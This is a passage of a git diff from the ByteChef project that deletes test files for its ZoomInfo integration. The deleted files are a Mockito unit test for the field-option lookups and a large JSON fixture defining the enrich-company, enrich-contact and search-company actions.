-            PAGE_SIZE, 25,
-            PAGE_NUMBER, 1
-        };
-
-        assertArrayEquals(queryParameters1, allQueryParams.getFirst());
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/util/ZoominfoUtilsTest.java b/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/util/ZoominfoUtilsTest.java
deleted file mode 100644
index 67f364baf72..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/util/ZoominfoUtilsTest.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.util;
-
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Configuration;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Option;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class ZoominfoUtilsTest {
-
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Context.Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final ActionContext mockedContext = mock(ActionContext.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Parameters mockedParameters = mock(Parameters.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final ArgumentCaptor<Object[]> queryArgumentCaptor = forClass(Object[].class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testGetCompanyFieldOptions() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Context.Http, Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameters(queryArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(List.of(
-                Map.of("fieldName", "companyName", "accessGranted", true),
-                Map.of("fieldName", "companyId", "accessGranted", true)));
-
-        List<Option<String>> options = ZoominfoUtils.getCompanyFieldOptions(
-            mockedParameters, null, Map.of(), "", mockedContext);
-
-        assertEquals(List.of(option("companyName", "companyName"), option("companyId", "companyId")), options);
-
-        ContextFunction<Http, Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Configuration configuration = configurationBuilder.build();
-        ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals(List.of("/lookup/outputfields/company/enrich"), stringArgumentCaptor.getAllValues());
-    }
-
-    @Test
-    void testGetContactFieldOptions() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Context.Http, Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameters(queryArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(List.of(
-                Map.of("fieldName", "firstName", "accessGranted", true),
-                Map.of("fieldName", "lastName", "accessGranted", true)));
-
-        List<Option<String>> options = ZoominfoUtils.getContactFieldOptions(
-            mockedParameters, null, Map.of(), "", mockedContext);
-
-        assertEquals(List.of(option("firstName", "firstName"), option("lastName", "lastName")), options);
-
-        ContextFunction<Http, Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Configuration configuration = configurationBuilder.build();
-        ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals(List.of("/lookup/outputfields/contact/enrich"), stringArgumentCaptor.getAllValues());
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/test/resources/definition/zoominfo_v1.json b/server/libs/modules/components/zoominfo/src/test/resources/definition/zoominfo_v1.json
deleted file mode 100644
index a10407d8be7..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/resources/definition/zoominfo_v1.json
+++ /dev/null
@@ -1,6239 +0,0 @@
-{
-  "actions": [ {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Enrich company details.",
-    "help": null,
-    "metadata": null,
-    "name": "enrichCompany",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": null,
-      "outputSchema": null,
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Unique ZoomInfo identifier for a company.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company ID",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "companyId",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": true,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company website URL in http://www.example.com format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Website",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyWebsite",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Phone number of the company headquarters.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Phone",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyPhone",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Street address for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Street",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyStreet",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "City for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company City",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyCity",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "State for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company State",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyState",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Zip code or postal code for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Zip Code",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyZipcode",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Country for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Country",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyCountry",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "MULTI_SELECT",
-      "defaultValue": null,
-      "description": "Fields you want to get from employee.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": null,
-        "type": "STRING"
-      } ],
-      "label": "Output Fields",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "outputFields",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "placeholder": null,
-      "required": false,
-      "type": "ARRAY"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Enrich Company",
-    "workflowNodeDescription": null
-  }, {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Enrich contact details.",
-    "help": null,
-    "metadata": null,
-    "name": "enrichContact",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": null,
-      "outputSchema": null,
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Unique ZoomInfo identifier for the contact.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Person ID",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "personId",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": true,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact full name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Full Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "fullName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact first name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "First Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "firstName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact last name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Last Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "lastName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Business or Personal email address for the contact in example@example.com format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Email",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "emailAddress",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact direct or mobile phone number.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Phone",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "phone",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact title at current place of employment.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Job Title",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "jobTitle",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Social media URLs for the contact (e.g., Facebook, Twitter, LinkedIn).",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "External URL",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "externalURL",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Unique ZoomInfo identifier for the company.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company ID",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "companyId",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": false,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Name of the company for for which the contact works, or has worked.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "MULTI_SELECT",
-      "defaultValue": null,
-      "description": "Fields you want to get from employee. See documentation for available fields.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": null,
-        "type": "STRING"
-      } ],
-      "label": "Output Fields",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "outputFields",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "placeholder": null,
-      "required": false,
-      "type": "ARRAY"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Enrich Contact",
-    "workflowNodeDescription": null
-  }, {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Search company by specific criteria.",
-    "help": null,
-    "metadata": null,
-    "name": "searchCompany",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The unique identifier for the resource.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "id",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The type of the resource",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "type",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Response attributes for company search.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "attributes",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Company Name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "name",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "City of the company's primary address.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "city",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "State or province of the company's primary address.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "state",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Country of the company's primary address.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "country",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Approximate yearly revenue for the company in 1000's. For example, a 100M company is expressed as 100000.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "revenue",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Approximate number of people employed by the company.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "employeeCount",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Company website URL.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "website",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "The URL which can be used to retrieve the logo for the company.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "logo",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              }, {
-                "additionalProperties": null,
-                "advancedOption": null,
-                "controlType": "OBJECT_BUILDER",
-                "defaultValue": null,
-                "description": "Management status of the record.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "multipleValues": null,
-                "name": "managementStatus",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "properties": [ {
-                  "advancedOption": null,
-                  "controlType": "SELECT",
-                  "defaultValue": null,
-                  "description": "Indicates whether record is under management within the contract period.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "metadata": { },
-                  "name": "underManagement",
-                  "options": [ {
-                    "description": null,
-                    "label": "True",
-                    "value": true
-                  }, {
-                    "description": null,
-                    "label": "False",
-                    "value": false
-                  } ],
-                  "placeholder": null,
-                  "required": null,
-                  "type": "BOOLEAN"
-                }, {
-                  "advancedOption": null,
-                  "controlType": "TEXT",
-                  "defaultValue": null,
-                  "description": "Indicates when record was purchased if it is under management.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "languageId": null,
-                  "maxLength": null,
-                  "metadata": { },
-                  "minLength": null,
-                  "name": "purchaseDate",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "optionsLoadedDynamically": null,
-                  "placeholder": null,
-                  "regex": null,
-                  "required": null,
-                  "type": "STRING"
-                } ],
-                "required": null,
-                "type": "OBJECT"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "label": null,
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": null,
-          "type": "ARRAY"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "advancedOption": null,
-        "controlType": "ARRAY_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "items": [ {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The unique identifier for the resource.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The type of the resource",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "type",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": "Response attributes for company search.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": "attributes",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Company Name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "name",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "City of the company's primary address.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
